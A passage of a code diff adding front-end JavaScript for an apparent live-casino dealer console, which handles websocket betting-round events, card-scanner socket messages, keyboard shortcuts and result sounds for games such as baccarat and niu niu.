false; + }); + }else{ + layer.msg(lang.reset_number_fail); + } +}; +var changeBoot = function(){ + isCBoot = true; + var betStatus = $("#number_tab_status").val(); + if(betStatus == 0 || betStatus == 3){ + layer.confirm(lang.is_to_boot,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + websocket.emit('changeBoot',{table_id : table_id}); + isCBoot = false; + layer.close(index); + },function(index){ + isCBoot = false; + }); + }else{ + layer.msg(lang.change_boot_false); + } +}; +var resetBoot = function(){ + layer.confirm(lang.is_to_balance,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + websocket.emit('resetBoot',{table_id : table_id}); + layer.close(index); + }); +}; +var opening = function(){ + $('.control-box .btn-box2 span').removeClass('on'); + if(game_id == 1){ + websocket.emit('openingBaccarat',{table_id : table_id, number_tab_id : number_tab_id}); + }else if(game_id == 2){ + websocket.emit('openingDt',{table_id : table_id, number_tab_id : number_tab_id}); + }else if(game_id == 4){ + websocket.emit('openingNn',{table_id : table_id, number_tab_id : number_tab_id}); + }else if(game_id == 5){ + websocket.emit('openingTc',{table_id : table_id, number_tab_id : number_tab_id}); + }else if(game_id == 6){ + let result = parseInt($('#toning_result').val()); + if (result == 0 || result == 1 || result == 2 || result == 3 || result == 4){ + websocket.emit('openingToning',{table_id : table_id, number_tab_id : number_tab_id, result : result}); + } + }else if(game_id == 7){ + let result = $('#dice_result').val(); + websocket.emit('openingDice',{table_id : table_id, number_tab_id : number_tab_id, result : result}); + } +}; + +// 百家乐发送数据 +var sendScanBaccarat = function(data) { + websocket.emit('sendScanBaccarat', + {table_id : table_id, number_tab_id : number_tab_id, card : data.card, position : data.position}); +} + +// 龙虎发送数据 +var sendScanDt = function(data) { + websocket.emit('sendScanDt', + {table_id : table_id, number_tab_id : number_tab_id, card : data.card, position : data.position}); +} + +// 牛牛发送数据 +var sendScanNn = function(data) { + websocket.emit('sendScanNn', + {table_id : table_id, number_tab_id : number_tab_id, card : data.card, position : data.position}); +} + +// 牛牛发送修改数据 +var sendScanNnChange = function(data) { + websocket.emit('sendScanChangeNnResult', + {table_id : table_id, number_tab_id : number_tab_id, card : data.card, position_num : data.position_num}); +} + + +// 色碟显示 +var showToningBox = function (){ + $('#toning_result_box').fadeIn(); +} +var hideToningBox = function (){ + $('#toning_result_box').fadeOut(); +} +// 骰宝显示 +var showDiceBox = function (){ + $('#dice_box').fadeIn(); +} +var hideDiceBox = function (){ + $('#dice_box').fadeOut(); +} +//事件 发送******************************************************************************************************************* +//事件返回********************************************************************************************************************* +websocket.on('onlineLogin',function(data){ + if (data.table_id === table_id) { + if(data.status === true){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status) + clearBetAmount(); + waybillFunc(); + if (data.round.number_tab_status.bet_status != undefined && data.round.number_tab_status.bet_status == 2){ + if(game_id == 4 || game_id == 5){ + showCardNn(data.round.show_card); + }else{ + showCard(data.round.show_card); + } + } + }else{ + layer.msg(lang[data.msg],{time:0}); + } + } + +}); +websocket.on('RepeatedEntry',function(data){ + websocket.close(); + layer.msg(lang[data.msg]); + setTimeout(function (){ + window.location.href='/login/logout'; + },2000); +}); +websocket.on('startBet',function(data){ + if(data.status === true && data.table_id === table_id){ + mp3List = ['start.mp3']; + audioMp3(mp3List).Play(); + setBetStatus(data.round.number_tab_status); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('startRob',function(data){ + if(data.status === true && data.table_id == table_id){ + mp3List = ['start_rob.mp3']; + audioMp3(mp3List).Play(); + $("#number_rob_status").val(1); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('startRobCountDown',function(data){ + if(data.status === true && data.table_id == table_id && data.count_down >= 0){ + $('.nobegin-tip').html('抢庄中'); + countDownRob(data.count_down); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('endRob',function(data){ + $('.nobegin-tip').html(''); + if(data.status === true && data.table_id == table_id){ + $('#number_rob_status').val(2); + startBet(); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); + +websocket.on('sendScanChangeNnResult',function(data){ + if (game_id == 4 && data.status == false) { + layer.msg(data.msg); + } +}); + +websocket.on('sendScanResult',function(data){ + if(data.status === true && data.table_id == table_id){ + if(game_id == 1 || game_id == 2){ + Flop(data); + + // 识别相关 + if (scanner_type == 2 && game_id == 1 && data.round != undefined && data.round.position != undefined){ + var _position = parseInt(data.round.position); + switch(_position) { + case 11: + scanPosition = 2; + break; + case 12: + scanPosition = 3; + break; + case 21: + scanPosition = 4; + break; + case 22: + scanPosition = 5; + break; + case 13: + scanPosition = 6; + break; + case 23: + initScanParams(); + break; + } + } + }else if(game_id==4||game_id==5){ + if(data.round.position == 0){ + flop_position(data); + }else{ + // 识别相关 + if (scanner_type == 2 && game_id == 4) { + if (data.round.position == 20) { + scanPosition = 21; + scanDefaultPosition = 'P1'; + clearInterval(scanTask); + scanTask = null; + + clearInterval(positionScanTask); + positionScanTask = null; + + isPositionScaned = false; + isCardScaned = true; + + sbSocket.emit("stop",{"tableCode":casinoTableId, "type":"SYS"}); + + } else { + if (data.isChanged == undefined || data.isChanged != true) { + var _position = data.round.position; + + switch (scanDefaultPosition) { + case 'P2': + if (_position < 15) { + scanPosition = _position + 6; + } else { + scanPosition = _position - 14; + } + break; + case 'P3': + if (_position < 10) { + scanPosition = _position + 11; + } else { + scanPosition = _position - 9; + } + break; + case 'B': + if (_position < 5) { + scanPosition = _position + 16; + } else { + scanPosition = _position -4; + } + break; + default: + scanPosition = _position + 1; + } + + if (scanPosition > 20) { + scanPosition = 1; + } + } + + //sbSocket.emit("scanCardWithIndex",{"tableCode": casinoTableId, "index": scanPosition, "biz": number_tab_id}); + } + } + // + flop_card(data); + } + } + } /*else if (data.status === false && data.table_id == table_id && scanner_type == 2 && game_id == 4) { + sbSocket.emit("scanCardWithIndex",{"tableCode": casinoTableId, "index": scanPosition, "biz": number_tab_id}); + }*/ + /*else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + }*/ +}); +websocket.on('resetNumberTab',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + + // 识别相关 + if (scanner_type == 2) { + sbSocket.emit("stop",{"tableCode":casinoTableId, "type":"SYS"}); + initScanParams(); + } + // + + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + $(".begincard .box").animate({"opacity":"0"},function(){ + $(".begincard").fadeOut(); + + $(".table-info .nobegin-tip").fadeIn(); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + $(".begincard .box .list .card").removeClass("begin") + $(".begincard .card .topleft").html("") + $(".begincard .card .bottomright").html("") + $(".list .card .face").css("background-image","") + $(".begincard .list .draw .rotate").css("display",'none'); + }); + card_info=[]; + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('changeBoot',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + waybillFunc(); + card_info = []; + + // 识别相关 + if (scanner_type == 2) { + sbSocket.emit("stop",{"tableCode":casinoTableId, "type":"SYS"}); + initScanParams(); + } + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('resetBoot',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + waybillFunc(); + card_info = []; + + // 识别相关 + if (scanner_type == 2) { + sbSocket.emit("stop",{"tableCode":casinoTableId, "type":"SYS"}); + initScanParams(); + } + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('startBetCountDown',function(data){ + if(data.status == true && data.table_id == table_id){ + countDown(data.count_down); + } +}); +websocket.on('endBet',function(data){ + if(data.status === true && data.table_id == table_id){ + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + mp3List = ['stop_2.mp3']; + audioMp3(mp3List).Play(); + if(game_id == 4 || game_id == 5){ + $(".banker_result").html(''); + $(".player_1_result").html(''); + $(".player_2_result").html(''); + $(".player_3_result").html(''); + } + if(game_id == 6){ + $('#toning_result').val(''); + $(".toning-result-num").removeClass("active"); + } + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + setBetStatus(data.round.number_tab_status); + + // 识别相关 + if (scanner_type == 2 && game_id == 1) { + //doScanCards(); + + sbSocket.emit('start', {'tableCode': casinoTableId, 'type': 'SYS', 'biz': number_tab_id}); + //sbSocket.emit("scanCardWithIndex",{"tableCode": casinoTableId, "index":1, 'type': 'SYS', "biz": number_tab_id}) + + } else if (scanner_type == 2 && game_id == 2) { + doDtScanCards(); + } else if (scanner_type == 2 && game_id == 4) { + + //sbSocket.emit('start', {'tableCode': casinoTableId, 'type': 'SYS', 'biz': number_tab_id}); + sbSocket.emit("scanCardWithIndex",{"tableCode": casinoTableId, "index": scanPosition, "biz": number_tab_id}); + //doNnScanPositionCard(); + //doNnScanCards(); + } + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingBaccarat',function(data){ + if(data.status === true && data.table_id == table_id){ + showPng(data.round.opening,data.round.pair); + gameResult(data); + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + waybillFunc(); + sbCardsInfo = [[], [], [], [], [], []]; + sbSocket.emit("stopData",{"tableCode":casinoTableId, "type":"SYS"}); + // 识别相关 + if (scanner_type == 2) { + initScanParams(); + } + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingDt',function(data){ + if(data.status === true && data.table_id == table_id){ + showPngDt(data.round.opening); + gameResult(data); + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + waybillFunc(); + + // 识别相关 + if (scanner_type == 2) { + initScanParams(); + } + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingNn',function(data){ + if(data.status === true && data.table_id == table_id){ + $('#number_tab_status').val(0); + $('#number_rob_status').val(0); + setNumberInfo(data.round); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + gameResultNn(data); + sbCardsInfo = [[], [], [], [], [], [], [], [], [], [], + [], [], [], [], [], [], [], [], [], [], []]; + sbSocket.emit("stop",{"tableCode":casinoTableId, "type":"SYS"}); + + if (scanner_type == 2) { + initScanParams(); + } + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingTc',function(data){ + if(data.status === true && data.table_id == table_id){ + $('#number_tab_status').val(0); + $('#number_rob_status').val(0); + setNumberInfo(data.round); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + gameResultNn(data); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingToning',function(data){ + if(data.status === true && data.table_id == table_id){ + $('#toning_result').val(""); + $('.toning-result-num').removeClass("active"); + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + waybillFunc(); + hideToningBox(); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingDice',function(data){ + if(data.status === true && data.table_id == table_id){ + $('#dice_result').val(""); + $('#dice_item_1 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_2 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_3 img').attr("src", '/static/handle/img/dice0.png'); + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + waybillFunc(); + hideDiceBox(); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +//事件返回********************************************************************************************************************* + +// 识别Socket +var sbSocket = io(localSbServer,{transports: ['websocket']}); +sbSocket.on('reconnecting', (timeout) => { + //触发重连 + layer.msg('服务断开,正在重新连接...', { + icon: 16, + shade: 0.6, + time:0, + }); +}); + +sbSocket.on('reconnect', (timeout) => { + //重连成功 + layer.closeAll(); + layer.msg('服务重新连接成功'); +}); + +// 加入识别服务 +sbSocket.on('joinEvent', function(data) { + if (data.code == 200 && data.type == 'SYS' && data.tableCode == casinoTableId) { + //layer.msg('Connect SB Server Success'); + } else { + layer.msg('Connect Faild. Please double check sb server'); + } +}); + +// 启动识别响应事件 +sbSocket.on('startEvent', function(data) { + // 200: 启动成功 + // 500: 设备离线 + // 501: 参数错误 + if (data.code != 200) { + layer.msg(data.msg); + } + +}); + +// 停止识别响应事件 +sbSocket.on('stopEvent', function(data) { + // 200: 停止成功 + // 500: 设备离线 + // 501: 参数错误 + if (data.code != 200) { + layer.msg(data.msg); + } +}); + +var sbCardsInfo = [[], [], [], [], [], [], [], [], [], [], + [], [], [], [], [], [], [], [], [], [], []]; +var CONFIRM_TIMES = 1; + +//CardsInfo[0]['card'] = ''; +//sbCardsInfo[0]['tims'] = 0; + +// 数据接收事件 +sbSocket.on('dataEvent', function(data) { +}); + + +// 收到指定下标数据 +sbSocket.on('dataWithIndexEvent', function(data) { + // tableType == 'ONE', 单张识别 + // count: 画框数,6 + // tableCode: casinoTableId + if (data.tableType == 'ONE' && data.tableCode == casinoTableId && data.biz != undefined && data.biz == number_tab_id) { + var query = new Object(); + query.card = cardToServer(data.data['card']); + + if (data.data['index'] == 21) { + if (query.card != 'None') { + + // for confirm ---------------------- + var index = 20; + if (!('card' in sbCardsInfo[index]) || !('time' in sbCardsInfo[index])) { + sbCardsInfo[index]['card'] = query.card; + sbCardsInfo[index]['time'] = 1; + } else { + if (sbCardsInfo[index]['card'] == query.card && sbCardsInfo[index]['time'] >= CONFIRM_TIMES) { + query.position = 0; + sendScanNn(query); + + positionCard = parseInt(query.card); + scanPosition = (positionCard % 100) % 4; + switch (scanPosition) { + case 2: + scanPosition = 6; + scanDefaultPosition = 'P2'; + $('.box3').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + case 3: + scanPosition = 11; + scanDefaultPosition = 'P3'; + $('.box4').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + case 0: + scanPosition = 16; + scanDefaultPosition = 'B'; + $('.box1').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + default: + scanPosition = 1; + scanDefaultPosition = 'P1'; + $('.box2').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + } + } else { + if (sbCardsInfo[index]['card'] == query.card) { + sbCardsInfo[index]['time']++; + } else { + sbCardsInfo[index]['card'] = query.card; + sbCardsInfo[index]['time'] = 1; + } + } + } + + //sbSocket.emit("scanCardWithIndex",{"tableCode": casinoTableId, "index": scanPosition, "biz": number_tab_id}); + + } /*else { + sbSocket.emit("scanCardWithIndex",{"tableCode": casinoTableId, "index": 21, "biz": number_tab_id}); + }*/ + } else { + if (query.card != 'None') { + var index = data.data['index'] - 1; + + // for confirm ---------------------- + if (!('card' in sbCardsInfo[index]) || !('time' in sbCardsInfo[index])) { + sbCardsInfo[index]['card'] = query.card; + sbCardsInfo[index]['time'] = 1; + } else { + if (sbCardsInfo[index]['card'] == query.card && sbCardsInfo[index]['time'] >= CONFIRM_TIMES) { + query.position = index + 1; + sendScanNn(query); + isCardScaned = true; + } else { + if (sbCardsInfo[index]['card'] == query.card) { + sbCardsInfo[index]['time']++; + } else { + sbCardsInfo[index]['card'] = query.card; + sbCardsInfo[index]['time'] = 1; + } + } + } + } /*else { + sbSocket.emit("scanCardWithIndex",{"tableCode": casinoTableId, "index":scanPosition, 'type': 'SYS', "biz": number_tab_id}); + }*/ + } + sbSocket.emit("scanCardWithIndex",{"tableCode": casinoTableId, "index":scanPosition, 'type': 'SYS', "biz": number_tab_id}); + + } +}); + +/* +// 数据接收事件 +sbSocket.on('dataWithAllCardsEvent', function(data) { + // tableType == 'ONE', 单张识别 + // count: 画框数,6 + // tableCode: casinoTableId + if (data.tableType == 'ONE' && data.tableCode == casinoTableId) { + data.data.forEach(function(value) { + if (value.card != 'None') { + var query = new Object(); + query.card = cardToServer(value.card); + query.position = position[value.index - 1]; + sendScanBaccarat(query); + } + + }); + } +}); +*/ + + +sbSocket.emit('join', { 'tableCode':casinoTableId, 'type':'SYS'}); + + + +//启动执行 +$(function(){ + getLang(); + //视频处理 + $("#video-iframe").attr("src",player+'?url='+flvUrl); + $(document).keydown(function (e){ + if(e.keyCode == 13){ + + var cookieValue = $.cookie("enter_time"); + if(!cookieValue){ + $.cookie("enter_time", 1, { expires: 1/86400*3 }); + }else{ + layer.msg('Please hold on'); + return false + } + + if(isCBoot == true){ + $('.layui-layer-btn0').click(); + isCBoot = false; + }else{ + //var keycode = $('#keycode').val(); + var numberTabStatus = $('#number_tab_status').val(); + //if(keycode == '6'){ + if (numberTabStatus == 0) { + if(!isopentime){ + var is_rob = $('#is_rob').val(); + if(is_rob == 1){ + startRob(); + }else{ + startBet(); + } + $('#keycode').val(''); + }else{ + layer.msg("请稍等!"); + } + }else if (numberTabStatus == 2) { + opening(); + } + } + } + //开局 + if(e.keyCode == 111){ + $('#keycode').val('6'); + } + //修改当前状态 + if(e.keyCode == 109){ + $('#update_ludan').toggle(); + } + //换靴 + if(e.keyCode == 107){ + changeBoot(); + $('#keycode').val(''); + } + //退出登录 + if(e.keyCode == 106){ + if(table_type == 1){ + cutout(); + $('#keycode').val(''); + }else{ + if(bet_type == 2){ + cutout(); + $('#keycode').val(''); + }else{ + loginout(); + $('#keycode').val(''); + } + } + } + //取消 + if(e.keyCode == 110){ + $('.layui-layer-btn1').click(); + } + // 停止倒计时 + if(e.keyCode == 96){ + if(game_id == 5 || game_id == 4){ + var number_rob_status=$("#number_rob_status").val(); + var number_tab_status=$("#number_tab_status").val(); + if((number_rob_status==1&&number_tab_status==0)||(number_rob_status==2&&number_tab_status==0)){ + endRob(); + }else{ + endBet(); + } + }else{ + endBet(); + } + } + if(game_id == 6){ + if (e.keyCode == 96 || e.keyCode == 97 || e.keyCode == 98 || e.keyCode == 99 || e.keyCode == 100){ + var result_num = -1; + switch (e.keyCode){ + case 96: + result_num = 0; + break; + case 97: + result_num = 1; + break; + case 98: + result_num = 2; + break; + case 99: + result_num = 3; + break; + case 100: + result_num = 4; + break; + } + if(result_num >= 0){ + $('#toning_result').val(result_num); + $(".toning-result-" + result_num).addClass("active").siblings().removeClass("active"); + } + } + } + // 骰宝结果选择 + if (game_id == 7){ + console.log(e.keyCode); + if (e.keyCode == 97 || e.keyCode == 98 || e.keyCode == 99 || e.keyCode == 100 || e.keyCode == 101 || e.keyCode == 102){ + var num = 0; + switch (e.keyCode){ + case 97: + num = 1; + break; + case 98: + num = 2; + break; + case 99: + num = 3; + break; + case 100: + num = 4; + break; + case 101: + num = 5; + break; + case 102: + num = 6; + break; + } + if (num > 0){ + var resultString = $('#dice_result').val(); + var resultArray = []; + if (resultString != ''){ + resultArray = resultString.split(","); + } + if (resultArray.length < 3){ + resultArray.push(num); + if (resultArray.length == 1){ + $('#dice_item_1 img').attr("src", '/static/handle/img/dice'+num+'.png'); + } else if (resultArray.length == 2) { + $('#dice_item_2 img').attr("src", '/static/handle/img/dice'+num+'.png'); + } else if (resultArray.length == 3){ + $('#dice_item_3 img').attr("src", '/static/handle/img/dice'+num+'.png'); + } + $('#dice_result').val(resultArray.join(",")); + } + } + } else if (e.keyCode == 109){ + $('#dice_result').val(''); + $('#dice_item_1 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_2 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_3 img').attr("src", '/static/handle/img/dice0.png'); + } + } + }) + $(window).resize(function(){ + requestData(ludan); + }) + audio.addEventListener("ended", nextAudio); + getTime(); + // 日期 + setInterval(function(){ + getTime(); + }, 1000); + // 侧栏控台 + $(".control-box").hover(function(){ + $(".control-box").stop().animate({right:"0"}) + },function(){ + $(".control-box").stop().animate({right:"-410px"}) + }) + // 多语言切换 + $('#language').change(function(){ + var language = $('#language').val(); + if(language == "cn" || language == "tw" || language == "en"){ + $.get("/index/lang?lang="+language,function(data){ + location.reload(); + }) + } + }); + $("#confirm_update_ludan").click(function (){ + retreated(); + }); + $("#cancel_update_ludan").click(function (){ + $('#update_ludan').hide(); + }); + // 色碟方法 + $('.toning-result-num').click(function () { + $('#toning_result').val(parseInt($(this).html())); + $(this).addClass("active").siblings().removeClass("active"); + }) + + // 牛牛识别 + if (scanner_type == 2 && game_id == 4) { + $('.begincard .card').find(".face").on('click', function() { + openAllCardsPanel(this); + }); + } + +}) +function loginout(){ + isCBoot = true; + layer.confirm(lang.is_to_logout,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + window.location.href='/login/logout'; + isCBoot = false; + layer.close(index); + },function(index){ + isCBoot = false; + }); +}; +function showPng(opening, pair){ + if(opening == 1 && pair == 0) { + $('#openingPng').attr('src','/static/result_img/banker.png'); + mp3List = ['banker_win.mp3']; + } + if(opening == 1 && pair == 1) { + $('#openingPng').attr('src','/static/result_img/banker_bpair.png'); + mp3List = ['banker_win.mp3','banker_pair.mp3']; + } + if(opening == 1 && pair == 2) { + $('#openingPng').attr('src','/static/result_img/banker_ppair.png'); + mp3List = ['banker_win.mp3','player_pair.mp3']; + } + if(opening == 1 && pair == 3) { + $('#openingPng').attr('src','/static/result_img/banker_bpair_ppair.png'); + mp3List = ['banker_win.mp3','banker_pair.mp3','player_pair.mp3']; + } + if(opening == 2 && pair == 0) { + $('#openingPng').attr('src','/static/result_img/player.png'); + mp3List = ['player_win.mp3']; + + } + if(opening == 2 && pair == 1) { + $('#openingPng').attr('src','/static/result_img/player_bpair.png'); + mp3List = ['player_win.mp3','banker_pair.mp3']; + } + if(opening == 2 && pair == 2) { + $('#openingPng').attr('src','/static/result_img/player_ppair.png'); + mp3List = ['player_win.mp3','player_pair.mp3']; + } + if(opening == 2 && pair == 3) { + $('#openingPng').attr('src','/static/result_img/player_bpair_ppair.png'); + mp3List = ['player_win.mp3','banker_pair.mp3','player_pair.mp3']; + } + if(opening == 3 && pair == 0) { + $('#openingPng').attr('src','/static/result_img/tie.png'); + mp3List = ['tie.mp3']; + } + if(opening == 3 && pair == 1) { + $('#openingPng').attr('src','/static/result_img/tie_bpair.png'); + mp3List = ['tie.mp3','banker_pair.mp3']; + } + if(opening == 3 && pair == 2) { + $('#openingPng').attr('src','/static/result_img/tie_ppair.png'); + mp3List = ['tie.mp3','player_pair.mp3']; + } + if(opening == 3 && pair == 3) { + $('#openingPng').attr('src','/static/result_img/tie_bpair_ppair.png'); + mp3List = ['tie.mp3','banker_pair.mp3','player_pair.mp3']; + } + audioMp3(mp3List).Play(); +} + +function showPngDt (opening){ + if(opening == 1) { + $('#openingPng').attr('src','/static/handle/img/dragon_win.png'); + mp3List = ['dragon_win.mp3']; + } + if(opening == 2) { + $('#openingPng').attr('src','/static/handle/img/tiger_win.png'); + mp3List = ['tiger_win.mp3']; + } + if(opening == 3) { + $('#openingPng').attr('src','/static/handle/img/tie.png'); + mp3List = ['tie.mp3']; + } + audioMp3(mp3List).Play(); +} + +function gameResult(data){ + var result_imgsrc='',Result=''; + switch(true){ + case data.round.opening==1:// 庄 + Result='banker'; + $(".begincard .card-box .banker-card").addClass("win").siblings().removeClass("win"); + break; + case data.round.opening==2:// 闲 + Result='player'; + $(".begincard .card-box .player-card").addClass("win").siblings().removeClass("win"); + break; + case data.round.opening==3:// 和 + Result='tie' + break; + } + if(data.round.pair==1){ + result_imgsrc=Result+'_bpair' + }else if(data.round.pair==2){ + result_imgsrc=Result+'_ppair' + }else if(data.round.pair==3){ + result_imgsrc=Result+'_bpair_ppair' + }else{ + result_imgsrc=Result + } + var src='/static/result_img/'+result_imgsrc+'.png' + $(".begincard .player-card .draw .text ").html(lang.player_all+' '+data.round.player+' '+lang.point) + $(".begincard .banker-card .draw .text ").html(lang.banker_all+' '+data.round.banker+' '+lang.point); + $('#openingElement').show(); + $('#openingElement').addClass("blink"); + isopentime=true; + setTimeout(function(){ + + $('#openingElement').removeClass("blink"); + $('#openingElement').hide(); + },3000) + // 清除状态 + card_info=[];///清除牌数据 + setTimeout(function(){ + $(".begincard .box").animate({"opacity":"0"},function(){ + $(".begincard .card-box .list").removeClass("win"); + $(".begincard").fadeOut(function(){ isopentime=false;}); + $(".begincard .list .draw .text").css("text-align","center") + $(".begincard .box .list .card").removeClass("begin") + $(".begincard .card .topleft").html("") + $(".begincard .card .bottomright").html(""); + $(".begincard .box .list .card").find(".face").css("background-image","url('/static/handle/img/faces.png')") + $(".begincard .box .list .draw .card").find(".face").css("background-image","url('/static/handle/img/faces1.png')") + $(".begincard .list .draw .rotate").css("display",'none') + $(".table-info .nobegin-tip").fadeIn(); + + }) + },5000) +} +function gameResultNn(data){ + isWin.win_player_1=data.round.win_player_1; + isWin.win_player_2=data.round.win_player_2; + isWin.win_player_3=data.round.win_player_3; + var newmp3List=[]; + if(data.round.win_player_1==1){ + newmp3List.push('nn_X1.wav'); + isWin.text.push("P1"); + $(".begincard .box2").addClass("win"); + } + if(data.round.win_player_2==1){ + newmp3List.push('nn_X2.wav'); + isWin.text.push("P2"); + $(".begincard .box3").addClass("win"); + } + if(data.round.win_player_3==1){ + newmp3List.push('nn_X3.wav'); + isWin.text.push("P3"); + $(".begincard .box4").addClass("win"); + } + if(data.round.win_player_1==0&&data.round.win_player_2==0&&data.round.win_player_3==0){ + newmp3List.push('nn_Zwin.wav'); + isWin.text.push("B"); + $(".begincard .box1").addClass("win"); + } + var str=isWin.text.length==0?'Banker':isWin.text.join('、')+" Win"; + $(".begincard .win-tip").html(str); + $(".begincard .win-tip").addClass("show"); + let mp3List = newmp3List; + audioMp3(mp3List).Play(); + + isopentime=true; + + setTimeout(function(){ + $(".begincard .win-tip").removeClass("show");isWin.text=[]; + },3000); + setTimeout(function(){ + $(".begincard").fadeOut(function(){ + isopentime=false; + $(".begincard .box").animate({"opacity":"0"}); + $(".begincard .box1").animate({"top":"100%","opacity":"0"}); + $(".begincard .box2").animate({"top":"100%","opacity":"0"}); + $(".begincard .box3").animate({"top":"100%","opacity":"0"}); + $(".begincard .box4").animate({"top":"100%","opacity":"0"}); + setBetStatus(data.round.number_tab_status); + waybillFunc(); + //清空牌数据 + $(".begincard div").removeClass("win"); + $(".list .card .face").css("background-image",""); + }); + },5000); +} +//获取当前语言包 +function getLang(){ + $.ajax({ + url:"/index/get_lang", + type:"POST", + dataType:"JSON", + async:false, + success:function(data){ + if(data.status === 1){ + lang = data.lang; + } + } + }) +} +//倒计时 +function countDown(time) { + $(".countdown .num").html(time) + $(".countdown").css({"opacity":1,"display":"block"}); + $(".countdown .grab-count").addClass("count-active"); + if(time == 10){ + mp3List = ['time_tip_10.mp3']; + audioMp3(mp3List).Play(); + } + if(time < 9 && time > 0){ + mp3List = ['time.mp3']; + audioMp3(mp3List).Play(); + } + if(time<=0){ + mp3List = ['stop_2.mp3']; + audioMp3(mp3List).Play(); + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + return; + } +} +//播放声音 +function audioMp3(mp3List){ + var mp3=new Object(); + mp3.mp3List=mp3List; + mp3.url="/static/handle/mp3/"; + mp3.auto_play=false; + mp3.loop=false; + mp3.Play=function(){ + audio.src=this.url+this.mp3List[0]; + audio.play(); + } + mp3.Muted=function(){ + audio.muted ? audio.muted = false : audio.muted = true; + } + mp3.volumeAdd=function(){ + if(audio.volume.toFixed(1)>=1){ + audio.volume=1 + }else{ + audio.volume = audio.volume + 0.1; + } + } + mp3.volumeMinus=function(){ + if(audio.volume.toFixed(1)<=0){ + audio.volume=0 + }else{ + audio.volume = audio.volume - 0.1; + } + } + return mp3; +} +//显示牌面 +var showCard = function(showCard){ + $(".begincard").fadeIn(function(){ + $(".begincard .box").animate({"opacity":"1"}); + $(".table-info .nobegin-tip").fadeOut(); + }); + $.each(showCard,function(i,v){ + if(v.number!=false){ + var _thisdata={"status":true,round:v} + Flop(_thisdata); + } + }) +} +//是否显示补牌 +function isShowSupport(isSupport){ + if(isSupport.is_bopai){ + if(isSupport.player_3 == 1){ + $('.begincard .player-card .draw .rotate').css("display","inline-block") + } + if(isSupport.banker_3 == 1){ + $('.begincard .banker-card .draw .rotate').css("display","inline-block") + } + } +} +function Flop(data){ + var whichpoker='',pokerindex='',pokercard=''; + if(data.status==true){ + var which = data.round.position; + if(game_id == 1){ + switch(which){ + case 11: + whichpoker='player-card'; + pokerindex=1; + card_info["player_2"]=data.round.number; + break; + case 12: + whichpoker='player-card'; + pokerindex=0; + card_info["player_1"]=data.round.number; + break; + case 13: + whichpoker='player-card'; + pokerindex=2; + card_info["player_3"]=data.round.number; + break; + case 21: + whichpoker='banker-card'; + pokerindex=1; + card_info["banker_2"]=data.round.number; + break; + case 22: + 